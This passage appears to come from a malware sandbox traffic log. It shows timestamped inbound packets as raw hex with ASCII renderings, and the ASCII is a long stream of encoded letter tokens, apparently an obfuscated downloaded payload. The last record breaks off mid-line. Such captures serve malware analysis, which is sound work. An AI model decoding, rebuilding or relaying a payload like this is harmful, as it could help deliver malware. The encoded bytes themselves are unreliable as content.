2021-10-29 15:55:36 UTC	1692	IN	Data Raw: 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 78 4b 20 4b 6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 74 78 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 59 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 52 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 52 20 45 52 20 6f 78 4b 20 4b 6b 20 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 Data Ascii: K OxQ OOo Yo OKR oE KR RK OKx OOY oY OOo Yx YK RY OkE kK OOK OOY oxt kY KE ER oxK Kk EE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOO OoO OKo Yo tx Yx YK ko O oKK OxQ OOo Yo OKR oE KY RK OKx OOY oR OOo Yx YK RY OkE kK OOK OOY oxt kY KR ER oxK Kk KY OOK OOt Oxt E
2021-10-29 15:55:36 UTC	1693	IN	Data Raw: 4f 6f 20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 20 59 78 20 45 51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 4f 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 51 4f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 74 51 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 4b 51 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 74 20 4f 59 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 20 4f 4f 45 20 59 78 20 59 4b 20 6f 45 20 52 51 20 6f 59 45 20 4f Data Ascii: Oo Yx KE o Yx kK kt OOR OxQ OOo KY Kk Yx EQ kx O oKQ Oxk OOo Yo oO RY OKY kK OOK Oot o EO YO Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko kt R QO OOo Yx Yk QE tQ kY OOK OOY to E OYK Kk Yx Rx YQ oKQ OOR OxQ OOk oE Rt OYK YK kK Oox oR Ok OOE Yx YK oE RQ oYE O
2021-10-29 15:55:36 UTC	1695	IN	Data Raw: 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 20 4f 4f 6f 20 52 52 20 6f 4b 20 4f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 74 20 6b 6b 20 4f 59 6b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 52 6b 20 4f 4f 59 20 45 78 20 6f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 6f 4b 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 6f 20 4b 6b 20 59 78 20 52 78 20 51 59 20 51 52 20 4f 4f 52 20 4f 4f 4b 20 4f 4b 4f 20 6f 52 20 4f 4f 59 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 45 59 20 4b 6b 20 4f 6f 4b 20 6f 6f 4f Data Ascii: Yx YY tQ RR OOk OxQ Ok Yx Kk Yx oo kK OOK Oxx OOK Oxk oR Qk Yx YK QK x OE OxO OOo RR oK OO YK kK Oox Oot Oxt kk OYk Kk Yx Rx Oox Rk OOY Ex ox Yx Kk YR Ex oKQ OOK OOt OxE kk OOo Kk Yx Rx QY QR OOR OOK OKO oR OOY Yx YK QK Qx oOQ OxQ OOo YR ok EY Kk OoK ooO
2021-10-29 15:55:36 UTC	1696	IN	Data Raw: 20 4b 51 20 59 78 20 59 78 20 4b 74 20 6f 78 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 59 6b 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 51 20 6f 20 45 6f 20 45 6b 20 6f 6f 6b 20 4f 6f 59 20 4f 78 51 20 78 20 45 6b 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 45 74 20 4f 6b 74 20 6f 4f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 45 6b 20 45 6b 20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 52 20 4f 4b 4f 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4f 74 52 20 59 51 20 59 59 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 78 20 4f 4f 45 20 59 78 20 59 6f 20 74 45 20 4f 45 Data Ascii: KQ Yx Yx Kt oxO OOt OxQ Ooo tR Yk YO YK kx Oo OoK Oxk OOo YK oQ o Eo Ek ook OoY OxQ x Ek ooK RE YK kK OOo QE oOE OOo Yx Yk Et Okt oOt OOK OOt Oxk kY ER Ek Ek Ex oEo OOK OOt OxE oOx oR OKO Yx YK QK Qx oxE OxQ OOo YR OtR YQ YY kK OOk OO Oxx OOE Yx Yo tE OE
2021-10-29 15:55:36 UTC	1697	IN	Data Raw: 20 59 4b 20 6b 6f 20 6f 51 20 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 52 6b 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 78 51 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 6b 6b 20 4f 78 59 20 6b 52 20 45 6b 20 6f 74 20 59 59 20 45 78 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 51 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 78 20 4f 6b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 52 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 78 20 4f 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 51 45 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 45 6f 20 4f 4f 6b 20 Data Ascii: YK ko oQ K Oxk OOo Yo oR Rk Yx OoK oxR OOR OxQ OOk oR oxQ Yx YK ko kt kk OxY kR Ek ot YY Ex tx OOK OOt tx EO QY KQ Yx Kk OoR Yo OOE RQ oxK YO Kk Yo Ex Okx OOK OOt Oxt EO RY KQ Yx Kk OoR Yo OOE RQ oxK YO Kk Yo Ex OtR OOK OOt Oxt EO QE KQ Yx Kk OoR Eo OOk
2021-10-29 15:55:36 UTC	1701	IN	Data Raw: 45 6b 20 52 6f 20 45 51 20 6b 78 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6b 20 45 45 20 4f 6f 20 4f 6f 52 20 4f 6f 59 20 4f 78 52 20 6f 59 4b 20 51 4f 20 4f 59 20 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6b 4f 20 59 78 20 4f 4f 6f 20 6f 4b 45 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 6f 4b 51 20 6f 4f 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 4f 6f 20 4f 4f 74 20 74 74 20 4f 4f 6f 20 4f 59 45 20 6f 59 4f 20 59 Data Ascii: Ek Ro EQ kx QK OOK OoK OOR QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yk EE Oo OoR OoY OxR oYK QO OY ox oxO OtO OKO OtO OOx kR oER Kk Yo ok kY Yx OOt OxQ OOo Yx kO Yx OOo oKE OOK OOk Qk OOo Yx KQ Yx YK Ooo OOK oKQ oOY OOo KQ Yk Yx YK kY OOo OOt tt OOo OYE oYO Y
2021-10-29 15:55:36 UTC	1706	IN	Data Raw: 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 4f 51 4f 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 78 6f 20 4b 6f 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6f 45 20 4f 4f 4f 20 6b 20 4f 74 45 20 6f 45 20 45 45 20 74 59 20 4b 52 20 6f 45 6f 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 52 74 20 6f 51 20 59 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 45 6f 20 4b 6b 20 52 51 20 51 51 20 6f 52 20 74 45 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 74 78 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 51 74 20 45 6f 20 6f 6b 20 59 45 20 45 51 20 74 78 20 6f 59 6f 20 6f 6b 20 4f 6f 6f 20 52 4b 20 59 45 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 4b 20 4f 78 59 20 51 74 20 Data Ascii: QK oQ kO OxQ OOo YR EQ OQO OOx kK OOK OOR to Oxo Ko OkQ OxK YK kK OOY kx OoE OOO k OtE oE EE tY KR oEo Ex to Yx Kk YR OKk Rt oQ YQ OxQ OOo YR EY Eo Kk RQ QQ oR tE OOo Yx Yk RY Otx kY OOK OOY to Qt Eo ok YE EQ tx oYo ok Ooo RK YE tk KK YK kK Oox QK OxY Qt
2021-10-29 15:55:36 UTC	1710	IN	Data Raw: 20 6b 74 20 51 51 20 6f 20 4f 45 6f 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 4f 45 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6b 20 4b 6b 20 6f 4b 20 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 51 20 59 6b 20 4f 4b 45 20 6f 78 59 20 6f 78 74 20 6f 45 52 20 59 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 45 20 4f 6f 78 20 59 78 20 4b 6b 20 4b 4f 20 6b 51 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 74 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 74 6f 20 4f 4f 6b 20 74 59 20 4f 74 4b 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 6f 20 45 45 20 4f 4f 6f 20 59 78 20 59 78 20 59 78 20 59 4b 20 6b 4b 20 4f 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 45 78 20 4b 6b 20 59 78 20 59 4b 20 6f 78 74 20 4f 4f 59 20 4f 4f 74 20 4f Data Ascii: kt QQ o OEo Yx Kk Yo kQ OEQ OOK OOt OxE Qk Kk oK t YK kK Oox tQ Yk OKE oxY oxt oER YR tx OOo OEQ OoE Oox Yx Kk KO kQ QY OOK OOt OxE Oto oER YO ox oEo kK Oto OOk tY OtK Yx YK oK YK kK OOK Yo EE OOo Yx Yx Yx YK kK OYE OOt OxQ OOo OEx Kk Yx YK oxt OOY OOt O
2021-10-29 15:55:36 UTC	1714	IN	Data Raw: 4b 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 52 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 59 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 59 20 45 4f 20 4f 74 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 78 20 59 45 20 6b 51 20 4b 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 74 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 74 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 78 59 20 4f 4f 4b 20 4f 4f 74 20 4f Data Ascii: K OOK QO OxQ OOo EY Kt RO Okt OK OOK OOt Oxk kY ooR oOY Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox Oot OxY EO Ot Kk Yx Rx QY Oo Oxt OxQ OOo YR Rx YE kQ KQ OOK OOt OxE Oxt OQO OxR Yx YK kY kt ORY OtE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex OxY OOK OOt O
2021-10-29 15:55:36 UTC	1718	IN	Data Raw: 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 6f 45 6f 20 51 59 20 4f 74 6f 20 4f 4f 6b 20 74 59 20 4f 74 4b 20 59 78 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 59 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 78 20 59 59 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6f 20 6b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 4b 6b 20 6b 4b 20 51 6b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 45 20 4b 6b 20 59 78 20 45 51 20 45 51 20 4f 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 74 6b 20 6f 4f 74 20 59 4b 20 6b 4b 20 Data Ascii: xK Kk Yx YY OOE ORo oxO OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk YR oEo QY Oto OOk tY OtK Yx tk KK YK kK Oox QY Oxt Qx Yx Kk Yx YY Rk OOK OOt OxQ OOo Yx Kk Oo k kK OOE Oot OxQ OOo YO KE o Kk kK Qk OOR OxQ OOo E Kk Yx EQ EQ OtK OOt OxQ Ooo YR tk oOt YK kK
2021-10-29 15:55:36 UTC	1720	IN	Data Raw: 59 78 20 45 51 20 45 51 20 4f 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 52 59 20 4f 51 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b 20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52 78 20 6b 4b 20 6f 20 74 20 4f Data Ascii: Yx EQ EQ OtK OOt OxQ Ooo YR YK RY OQY kK OOK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK OoO YR YK ER Oo Oxt OxQ OOo YR QY KY YK kK Oox t Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OxE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE RR OKO Rx kK o t O
2021-10-29 15:55:36 UTC	1724	IN	Data Raw: 20 4b 6b 20 59 4b 20 45 51 20 6b 6f 20 51 51 20 4f 6f 4b 20 59 45 20 51 74 20 52 78 20 51 78 20 4f 78 52 20 51 59 20 52 51 20 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59 20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b Data Ascii: Kk YK EQ ko QQ OoK YE Qt Rx Qx OxR QY RQ Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox oOY kY ooR Yx Kk Yx Yo Kt Oxo OOt OxQ OOR YE YR OxR OkY Oxx OOK OOt OOO OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK
2021-10-29 15:55:36 UTC	1728	IN	Data Raw: 4f 4f 6f 20 59 78 20 59 78 20 4b 59 20 59 6b 20 6f 4f 74 20 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 6f 6f 4b 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45 20 52 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74 74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 Data Ascii: OOo Yx Yx KY Yk oOt Kx OOt OxQ OOE oE ooK OQo YK kK OOk QE Qx OOo Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook OOt OxQ Ooo tQ oK Yx
2021-10-29 15:55:36 UTC	1732	IN	Data Raw: 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 4f 78 52 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f 4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20 4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 78 51 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51 20 59 78 20 52 78 20 6b 6f Data Ascii: o Yx YK kK OOK OOt OxQ Kx OxR Kk KQ Rx kK OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK OOO OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK OOK Oot OxE E YO KQ Yx Rx ko
2021-10-29 15:55:36 UTC	1736	IN	Data Raw: 59 20 4f 4f 4b 20 4f 6f 74 20 74 6f 20 6f 4b 78 20 45 51 20 4b 51 20 59 78 20 59 78 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78 20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74 20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f 4f 74 20 4f 78 51 20 4f 78 Data Ascii: Y OOK Oot to oKx EQ KQ Yx Yx OoK Oxk OOt OxQ QO oE oQ Ro OR tx OOo OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kK OO OoO OOE Yx Yo oxK Kk to OOo OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OOo YK oK KY YK kK kQ kx RK OoK ox EK Kk oxx RY RY OOt OxQ Ox
2021-10-29 15:55:36 UTC	1741	IN	Data Raw: 52 78 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 45 52 20 4f 4f 45 20 59 78 20 59 6b 20 52 59 20 4f 6f 4b 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6b 6f 20 59 78 20 4b 6b 20 6f 59 20 45 78 20 4f 4f 51 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 4f 6f 6f 20 59 6f 20 45 6b 20 4f 52 52 20 6f 6f 20 4f 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 52 74 20 59 52 20 59 4b 20 45 74 20 4f 52 6f 20 4f 4f 52 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6b 20 4f 52 20 59 6f 20 45 6f 20 4f 51 6f 20 6b 6f 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 20 52 78 20 4b 6b 20 52 74 20 6f 45 78 20 4f 78 52 20 4f 6f 59 20 52 52 20 59 45 20 59 4b 20 45 74 20 4f 52 6f 20 74 59 20 4f 78 51 20 52 6b 20 4f 78 4f 20 4f 4f 6b 20 45 52 20 4f 52 4b 20 4b 59 20 52 78 20 4f 74 78 20 Data Ascii: Rx RK OKx OOY ER OOE Yx Yk RY OoK kY OOK Oot RQ ko Yx Kk oY Ex OOQ OOK OOt tx Ooo Yo Ek ORR oo OKk OOK OOt OxQ Rt YR YK Et ORo OOR oOk OOt OxQ OOo ok OR Yo Eo OQo ko oOt OxQ OOo Yx E Rx Kk Rt oEx OxR OoY RR YE YK Et ORo tY OxQ Rk OxO OOk ER ORK KY Rx Otx
2021-10-29 15:55:36 UTC	1745	IN	Data Raw: 6f 20 4f 4f 4b 20 6f 59 20 4f 51 59 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 6b 52 20 4f 4f 6f 20 74 74 20 4f 45 6b 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 20 59 78 20 4f 52 4b 20 4f 4b 52 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 6b 59 20 4f 51 4f 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 6f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 59 59 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 6f 20 51 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 52 52 20 51 51 20 59 52 20 6b 4b 20 6f 20 6f 52 20 4f 6f 51 20 Data Ascii: o OOK oY OQY OOo YR Kk Yx YK kK OOo OOt kR OOo tt OEk Yx Rx kK OOK OOt OxQ OOK Yx K Yx ORK OKR OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OkY OQO OOo KQ RE Yx YK kY OxY RQ OOx OOo oYE Kk Yx YK oK OOK OOt OoK E OYY Kk Yx Rx QK Oo Q Oxk OOo YR RR QQ YR kK o oR OoQ
2021-10-29 15:55:36 UTC	1749	IN	Data Raw: 59 59 20 59 51 20 4f 52 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 51 51 20 4f 4f 59 20 6f 20 6b 20 59 4f 20 4b 6b 20 59 52 20 6f 74 20 4f 51 45 20 4f 74 6f 20 4f 6f 4f 20 4f 6f 4b 20 4f 4f 6b 20 45 78 20 59 59 20 45 59 20 4b 6b 20 59 51 20 4f 6f 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 45 6b 20 6f 45 6b 20 52 6f 20 45 51 20 6b 4f 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 74 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 51 74 20 51 74 20 59 4b 20 6f 6b 20 59 45 20 45 51 20 6b 78 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 